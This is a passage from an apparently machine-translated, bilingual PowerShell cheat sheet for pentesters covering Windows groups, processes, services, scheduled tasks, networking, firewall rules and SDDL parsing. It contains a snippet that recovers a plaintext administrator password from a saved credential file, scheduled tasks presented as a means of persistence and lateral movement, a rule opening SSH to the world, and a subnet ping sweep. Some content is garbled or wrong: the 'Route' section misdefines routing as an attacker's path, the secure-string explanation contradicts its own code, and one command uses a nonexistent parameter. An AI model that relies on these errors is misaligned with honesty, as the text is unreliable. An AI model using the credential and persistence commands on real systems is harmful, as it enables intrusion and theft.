  • New-LocalGroup : Cette commande permet de créer un nouveau groupe local.
  • New-ADGroup : Cette commande permet de créer un nouveau groupe global ou universel dans un domaine Windows.
  • Add-LocalGroupMember : Cette commande permet d'ajouter un utilisateur à un groupe local.
  • Add-ADGroupMember : Cette commande permet d'ajouter un utilisateur à un groupe global ou universel dans un domaine Windows.
  • Remove-LocalGroupMember : Cette commande permet de supprimer un utilisateur d'un groupe local.
  • Remove-ADGroupMember : Cette commande permet de supprimer un utilisateur d'un groupe global ou universel dans un domaine Windows.

Conclusion

La gestion des groupes est essentielle pour organiser et gérer efficacement les utilisateurs et les ressources dans un environnement Windows. PowerShell offre de puissantes fonctionnalités pour travailler avec les groupes, ce qui facilite l'administration des autorisations et des privilèges. En utilisant les commandes PowerShell appropriées, vous pouvez créer, modifier et supprimer des groupes, ainsi qu'ajouter ou supprimer des utilisateurs de ces groupes.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Presse-papiers

The clipboard is a temporary storage area in the computer's memory that allows you to copy and paste text, images, and other data between different applications. It is commonly used for tasks such as copying text from a document and pasting it into an email or copying an image from a website and pasting it into a document.

Le presse-papiers est une zone de stockage temporaire dans la mémoire de l'ordinateur qui vous permet de copier et coller du texte, des images et d'autres données entre différentes applications. Il est couramment utilisé pour des tâches telles que la copie de texte à partir d'un document et son collage dans un e-mail, ou la copie d'une image à partir d'un site Web et son collage dans un document.

When you copy something to the clipboard, it remains there until you copy something else or restart your computer. This means that the data in the clipboard can be accessed by other applications running on your computer. While this feature is convenient for legitimate purposes, it can also be exploited by malicious actors to steal sensitive information.

Lorsque vous copiez quelque chose dans le presse-papiers, il y reste jusqu'à ce que vous copiez autre chose ou que vous redémarriez votre ordinateur. Cela signifie que les données du presse-papiers peuvent être accessibles par d'autres applications en cours d'exécution sur votre ordinateur. Bien que cette fonctionnalité soit pratique à des fins légitimes, elle peut également être exploitée par des acteurs malveillants pour voler des informations sensibles.

As a pentester, it is important to be aware of the potential risks associated with the clipboard and take steps to mitigate them. This includes being cautious when copying and pasting sensitive information, using secure applications that encrypt the data in the clipboard, and regularly clearing the clipboard to remove any sensitive data that may have been inadvertently copied.

En tant que pentester, il est important de prendre conscience des risques potentiels associés au presse-papiers et de prendre des mesures pour les atténuer. Cela inclut la prudence lors de la copie et du collage d'informations sensibles, l'utilisation d'applications sécurisées qui chiffrent les données dans le presse-papiers, et la suppression régulière du presse-papiers pour supprimer toutes les données sensibles qui ont pu être copiées par inadvertance.

Get-Clipboard

Processus

Un processus est une instance d'un programme en cours d'exécution sur un système d'exploitation. Les processus sont essentiels pour exécuter des tâches et des programmes sur un ordinateur. Dans cet article, nous allons explorer quelques techniques PowerShell de base pour interagir avec les processus.

Obtenir la liste des processus en cours d'exécution

Pour obtenir la liste des processus en cours d'exécution sur un système Windows, vous pouvez utiliser la commande Get-Process. Cette commande affiche les informations de base sur tous les processus en cours d'exécution, y compris leur ID de processus (PID), leur nom et leur utilisation de la mémoire.

Get-Process

Tuer un processus

Si vous souhaitez arrêter un processus spécifique, vous pouvez utiliser la commande Stop-Process suivie de l'ID de processus (PID) du processus que vous souhaitez arrêter.

Stop-Process -Id <PID>

Lancer un nouveau processus

Pour lancer un nouveau processus à partir de PowerShell, vous pouvez utiliser la commande Start-Process suivie du chemin d'accès de l'exécutable du programme que vous souhaitez lancer.

Start-Process -FilePath <chemin d'accès>

Vous pouvez également spécifier des arguments supplémentaires pour le processus en utilisant le paramètre -ArgumentList.

Start-Process -FilePath <chemin d'accès> -ArgumentList <arguments>

Surveiller les modifications des processus

PowerShell offre également la possibilité de surveiller les modifications des processus en utilisant la commande Register-WmiEvent. Cette commande vous permet de spécifier un filtre pour surveiller les événements liés aux processus, tels que la création ou la fermeture d'un processus.

Register-WmiEvent -Query "SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'" -Action { <action> }

Dans l'exemple ci-dessus, vous devez remplacer <action> par le code que vous souhaitez exécuter lorsque l'événement se produit.

Conclusion

Les processus sont un élément essentiel de tout système d'exploitation. En utilisant PowerShell, vous pouvez interagir avec les processus en cours d'exécution, les arrêter, en lancer de nouveaux et surveiller les modifications. Ces techniques de base vous permettront d'explorer et de contrôler les processus sur un système Windows.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Services

Les services sont des programmes qui s'exécutent en arrière-plan sur un système d'exploitation Windows. Ils fournissent des fonctionnalités spécifiques et peuvent être configurés pour démarrer automatiquement au démarrage du système.

Gestion des services avec PowerShell

PowerShell est un puissant langage de script et une interface en ligne de commande pour Windows. Il offre de nombreuses fonctionnalités pour gérer les services, y compris la possibilité de démarrer, arrêter, suspendre et reprendre des services.

Voici quelques commandes PowerShell couramment utilisées pour gérer les services :

  • Get-Service : Cette commande affiche la liste des services disponibles sur le système.
  • Start-Service : Cette commande démarre un service spécifié.
  • Stop-Service : Cette commande arrête un service spécifié.
  • Suspend-Service : Cette commande suspend l'exécution d'un service spécifié.
  • Resume-Service : Cette commande reprend l'exécution d'un service spécifié.

Exemple d'utilisation

Voici un exemple d'utilisation de PowerShell pour démarrer le service "Windows Update" :

Start-Service -Name "wuauserv"

Dans cet exemple, la commande Start-Service est utilisée pour démarrer le service "Windows Update" en utilisant son nom "wuauserv".

Conclusion

PowerShell offre une puissante interface pour gérer les services sur un système d'exploitation Windows. En utilisant les commandes PowerShell appropriées, les pentesteurs peuvent facilement manipuler les services pour effectuer des tests de pénétration et renforcer la sécurité des systèmes.

Get-Service

Mot de passe à partir d'une chaîne sécurisée

To extract a password from a secure string in PowerShell, you can use the ConvertFrom-SecureString cmdlet. This cmdlet converts a secure string into an encrypted standard string representation.

To retrieve the password, follow these steps:

  1. Open a PowerShell session.
  2. Create a secure string object by using the Read-Host cmdlet. For example:
    $secureString = Read-Host -AsSecureString
    
  3. Convert the secure string to a standard string representation by using the ConvertFrom-SecureString cmdlet. For example:
    $encryptedString = $secureString | ConvertFrom-SecureString
    
  4. Store the encrypted string in a file or a secure location for later use.

To use the password, follow these steps:

  1. Open a PowerShell session.
  2. Retrieve the encrypted string from the file or secure location.
  3. Convert the encrypted string back to a secure string by using the ConvertTo-SecureString cmdlet. For example:
    $secureString = $encryptedString | ConvertTo-SecureString
    
  4. Use the secure string as needed, such as providing it as a parameter for authentication.

Remember to handle the encrypted string with care and ensure that it is stored securely to prevent unauthorized access to sensitive information.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Tâches planifiées

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to leverage scheduled tasks can be beneficial for persistence, privilege escalation, and lateral movement.

Les tâches planifiées sont une fonctionnalité puissante de Windows qui vous permet d'automatiser l'exécution de scripts ou de programmes à des moments ou à des intervalles spécifiques. En tant que pentester, comprendre comment exploiter les tâches planifiées peut être bénéfique pour la persistance, l'escalade des privilèges et le mouvement latéral.

Creating Scheduled Tasks

Création de tâches planifiées

To create a scheduled task, you can use the New-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.

Pour créer une tâche planifiée, vous pouvez utiliser la commande New-ScheduledTask dans PowerShell. Cette commande vous permet de spécifier le script ou le programme à exécuter, le déclencheur qui définit quand la tâche doit s'exécuter, et d'autres paramètres tels que le compte utilisateur sous lequel la tâche doit s'exécuter.

Here's an example of creating a scheduled task that runs a PowerShell script every day at 8:00 AM:

Voici un exemple de création d'une tâche planifiée qui exécute un script PowerShell tous les jours à 8h00 du matin :

$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File C:\path\to\script.ps1'
$Trigger = New-ScheduledTaskTrigger -Daily -At 8am
$Settings = New-ScheduledTaskSettingsSet
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Settings
Register-ScheduledTask -TaskName 'MyTask' -InputObject $Task

Modifying Scheduled Tasks

Modification des tâches planifiées

Once a scheduled task is created, you can modify its properties using the Set-ScheduledTask cmdlet. This allows you to change the script or program to be executed, the trigger, the user account, and other settings.

Une fois qu'une tâche planifiée est créée, vous pouvez modifier ses propriétés à l'aide de la commande Set-ScheduledTask. Cela vous permet de modifier le script ou le programme à exécuter, le déclencheur, le compte utilisateur et d'autres paramètres.

Here's an example of modifying a scheduled task to run a different PowerShell script:

Voici un exemple de modification d'une tâche planifiée pour exécuter un autre script PowerShell :

$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File C:\path\to\new_script.ps1'
Set-ScheduledTask -TaskName 'MyTask' -Action $Action

Deleting Scheduled Tasks

Suppression des tâches planifiées

To delete a scheduled task, you can use the Unregister-ScheduledTask cmdlet. This will remove the task from the Windows Task Scheduler.

Pour supprimer une tâche planifiée, vous pouvez utiliser la commande Unregister-ScheduledTask. Cela supprimera la tâche du Planificateur de tâches Windows.

Here's an example of deleting a scheduled task:

Voici un exemple de suppression d'une tâche planifiée :

Unregister-ScheduledTask -TaskName 'MyTask' -Confirm:$false

Conclusion

Conclusion

Scheduled tasks are a useful feature in Windows that can be leveraged by pentesters for various purposes. By understanding how to create, modify, and delete scheduled tasks using PowerShell, you can enhance your capabilities as a pentester.

Les tâches planifiées sont une fonctionnalité utile de Windows qui peut être exploitée par les pentesters à diverses fins. En comprenant comment créer, modifier et supprimer des tâches planifiées à l'aide de PowerShell, vous pouvez améliorer vos capacités en tant que pentester.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Interfaces

Les interfaces réseau sont des points de connexion physiques ou virtuels utilisés pour la communication entre un ordinateur et un réseau. Dans Windows, vous pouvez utiliser PowerShell pour gérer les interfaces réseau.

Obtenir la liste des interfaces réseau

Pour obtenir la liste des interfaces réseau sur un système Windows, vous pouvez utiliser la commande suivante :

Get-NetAdapter

Cette commande affichera les informations sur toutes les interfaces réseau disponibles, telles que le nom, l'index, l'état, l'adresse MAC, l'adresse IP, etc.

Désactiver une interface réseau

Pour désactiver une interface réseau spécifique, vous pouvez utiliser la commande suivante :

Disable-NetAdapter -Name "Nom de l'interface"

Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez désactiver.

Activer une interface réseau

Pour activer une interface réseau spécifique, vous pouvez utiliser la commande suivante :

Enable-NetAdapter -Name "Nom de l'interface"

Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez activer.

Changer l'adresse IP d'une interface réseau

Pour changer l'adresse IP d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :

New-NetIPAddress -InterfaceAlias "Nom de l'interface" -IPAddress "Nouvelle adresse IP" -PrefixLength "Longueur du préfixe"

Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer l'adresse IP, "Nouvelle adresse IP" par la nouvelle adresse IP que vous souhaitez attribuer et "Longueur du préfixe" par la longueur du préfixe de sous-réseau.

Changer la passerelle par défaut d'une interface réseau

Pour changer la passerelle par défaut d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :

Set-NetIPInterface -InterfaceAlias "Nom de l'interface" -DefaultGateway "Nouvelle passerelle"

Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer la passerelle par défaut et "Nouvelle passerelle" par l'adresse IP de la nouvelle passerelle.

Changer le DNS d'une interface réseau

Pour changer les serveurs DNS d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :

Set-DnsClientServerAddress -InterfaceAlias "Nom de l'interface" -ServerAddresses "Adresse DNS primaire", "Adresse DNS secondaire"

Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer les serveurs DNS, "Adresse DNS primaire" par l'adresse IP du serveur DNS primaire et "Adresse DNS secondaire" par l'adresse IP du serveur DNS secondaire.

Renommer une interface réseau

Pour renommer une interface réseau spécifique, vous pouvez utiliser la commande suivante :

Rename-NetAdapter -Name "Nom de l'interface" -NewName "Nouveau nom"

Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez renommer et "Nouveau nom" par le nouveau nom que vous souhaitez attribuer à l'interface.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Pare-feu

A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or as software running on a computer.

Un pare-feu est un dispositif de sécurité réseau qui surveille et contrôle le trafic réseau entrant et sortant en fonction de règles de sécurité prédéterminées. Il agit comme une barrière entre un réseau interne de confiance et un réseau externe non fiable, tel que l'internet. Les pare-feu peuvent être mis en œuvre sous forme de dispositifs matériels ou de logiciels s'exécutant sur un ordinateur.

Firewalls use various techniques to filter network traffic, such as packet filtering, stateful inspection, and application-level gateway. They can also provide additional security features like intrusion detection and prevention, virtual private network (VPN) support, and network address translation (NAT).

Les pare-feu utilisent différentes techniques pour filtrer le trafic réseau, telles que le filtrage de paquets, l'inspection de l'état et la passerelle de niveau d'application. Ils peuvent également fournir des fonctionnalités de sécurité supplémentaires telles que la détection et la prévention des intrusions, le support des réseaux privés virtuels (VPN) et la traduction d'adresses réseau (NAT).

Firewalls are an essential component of network security and are commonly used to protect against unauthorized access, malware, and other cyber threats. It is important to configure and maintain firewalls properly to ensure the security of a network.

Les pare-feu sont un composant essentiel de la sécurité réseau et sont couramment utilisés pour se protéger contre les accès non autorisés, les logiciels malveillants et autres menaces cybernétiques. Il est important de configurer et de maintenir les pare-feu correctement pour garantir la sécurité d'un réseau.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Route

La route est un concept essentiel dans le domaine du piratage. Il fait référence au chemin suivi par un attaquant pour accéder à un système cible. L'objectif est de trouver la meilleure voie pour contourner les mesures de sécurité et atteindre l'objectif souhaité, que ce soit l'extraction de données sensibles, l'installation de logiciels malveillants ou toute autre action malveillante.

Lors de la planification d'une attaque, il est important de prendre en compte différents facteurs pour déterminer la meilleure route à suivre. Cela peut inclure l'identification des vulnérabilités du système cible, l'analyse des mesures de sécurité en place, l'évaluation des risques et la sélection des outils et techniques appropriés.

Une fois la route choisie, l'attaquant peut commencer à exécuter les étapes nécessaires pour atteindre son objectif. Cela peut impliquer l'exploitation de failles de sécurité, l'utilisation de techniques d'ingénierie sociale, l'escalade de privilèges ou d'autres méthodes de piratage.

Il est important de noter que le piratage est illégal et peut entraîner des conséquences graves. Les informations fournies ici sont uniquement à des fins éducatives et doivent être utilisées de manière responsable et éthique.

route print

ARP

L'Address Resolution Protocol (ARP) est un protocole de résolution d'adresses utilisé pour associer une adresse IP à une adresse MAC dans un réseau local. Il permet aux machines de communiquer entre elles en utilisant des adresses MAC, qui sont des identifiants uniques attribués à chaque carte réseau.

L'ARP fonctionne en envoyant des requêtes ARP pour demander l'adresse MAC correspondant à une adresse IP spécifique. Une fois que la correspondance est établie, les machines peuvent communiquer directement en utilisant les adresses MAC.

Les attaquants peuvent exploiter les vulnérabilités de l'ARP pour mener des attaques de type "man-in-the-middle" ou pour effectuer des attaques de déni de service en saturant la table ARP d'une machine cible.

Il est important de sécuriser les réseaux en mettant en place des mesures de protection contre les attaques ARP, telles que l'utilisation de commutateurs qui filtrent les paquets ARP suspects ou la configuration de règles de pare-feu pour bloquer les paquets ARP malveillants.

En tant que pentester, il est essentiel de comprendre le fonctionnement de l'ARP et les différentes attaques qui peuvent être menées en exploitant ses vulnérabilités. Cela permet de tester la sécurité des réseaux et de recommander des mesures de protection appropriées.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hôtes

The hosts file is a plain text file used by operating systems to map hostnames to IP addresses. It is commonly used to block or redirect certain websites or to override DNS settings. As a pentester, you can leverage the hosts file to redirect traffic to your own IP address for analysis or to bypass certain security measures.

To locate the hosts file on a Windows system, navigate to C:\Windows\System32\drivers\etc. The file is named hosts and has no file extension. To edit the file, you will need administrative privileges.

By modifying the hosts file, you can redirect traffic from a specific domain to a different IP address. For example, you can redirect www.example.com to 127.0.0.1 (localhost) by adding the following line to the hosts file:

127.0.0.1    www.example.com

This will cause any requests to www.example.com to be redirected to your local machine.

Keep in mind that changes to the hosts file only affect the local system and do not propagate to other devices on the network. Additionally, some antivirus software may monitor changes to the hosts file and revert them back to their original state.

As a pentester, you can use the hosts file to redirect traffic to your own IP address for analysis or to bypass certain security measures. However, it is important to use this technique responsibly and within the boundaries of the law.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

La commande ping est utilisée pour tester la connectivité réseau entre un hôte local et un hôte distant. Elle envoie des paquets ICMP (Internet Control Message Protocol) à l'hôte distant et attend une réponse. Cela permet de vérifier si l'hôte distant est accessible et de mesurer le temps de latence entre les deux hôtes.

Pour utiliser la commande ping dans PowerShell, vous pouvez utiliser la cmdlet Test-Connection. Voici un exemple d'utilisation :

Test-Connection -ComputerName <nom_hôte> -Count <nombre_de_paquets>
  • <nom_hôte> : spécifie le nom ou l'adresse IP de l'hôte distant que vous souhaitez tester.
  • <nombre_de_paquets> : spécifie le nombre de paquets ICMP à envoyer à l'hôte distant.

La commande Test-Connection affiche les résultats de la commande ping, y compris le temps de latence moyen, le pourcentage de perte de paquets et d'autres informations utiles.

Il est important de noter que la commande ping peut être bloquée par un pare-feu ou une configuration réseau restrictive. Dans de tels cas, il peut être nécessaire d'utiliser d'autres techniques de test de connectivité.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

Le protocole SNMP (Simple Network Management Protocol) est un protocole de gestion de réseau largement utilisé pour superviser et gérer les périphériques réseau tels que les routeurs, les commutateurs et les serveurs. Il permet aux administrateurs réseau de collecter des informations sur l'état et les performances des périphériques, ainsi que de configurer et de contrôler à distance ces périphériques.

SNMP utilise un modèle client-serveur, où les périphériques réseau agissent en tant que serveurs SNMP et les applications de gestion réseau agissent en tant que clients SNMP. Les clients SNMP envoient des requêtes aux serveurs SNMP pour obtenir des informations spécifiques, telles que les statistiques de trafic, les erreurs de transmission, les températures du matériel, etc.

Les serveurs SNMP stockent ces informations dans une base de données appelée MIB (Management Information Base). La MIB est une structure hiérarchique qui organise les informations en différents groupes et objets. Chaque objet dans la MIB est identifié par un OID (Object Identifier) unique.

Les clients SNMP peuvent interroger les serveurs SNMP en utilisant des requêtes GET pour obtenir des informations spécifiques sur les périphériques. Ils peuvent également utiliser des requêtes SET pour configurer les paramètres des périphériques, tels que les adresses IP, les seuils d'alerte, etc.

SNMP est un protocole puissant mais il peut également présenter des risques de sécurité s'il est mal configuré. Les attaquants peuvent exploiter des vulnérabilités SNMP pour obtenir des informations sensibles sur le réseau, tels que les adresses IP, les noms d'utilisateur et les mots de passe. Il est donc important de sécuriser correctement les serveurs SNMP en utilisant des mesures telles que la restriction des adresses IP autorisées, l'utilisation de mots de passe forts et la surveillance des journaux d'activité SNMP.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Conversion de la chaîne SDDL en un format lisible


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-38803178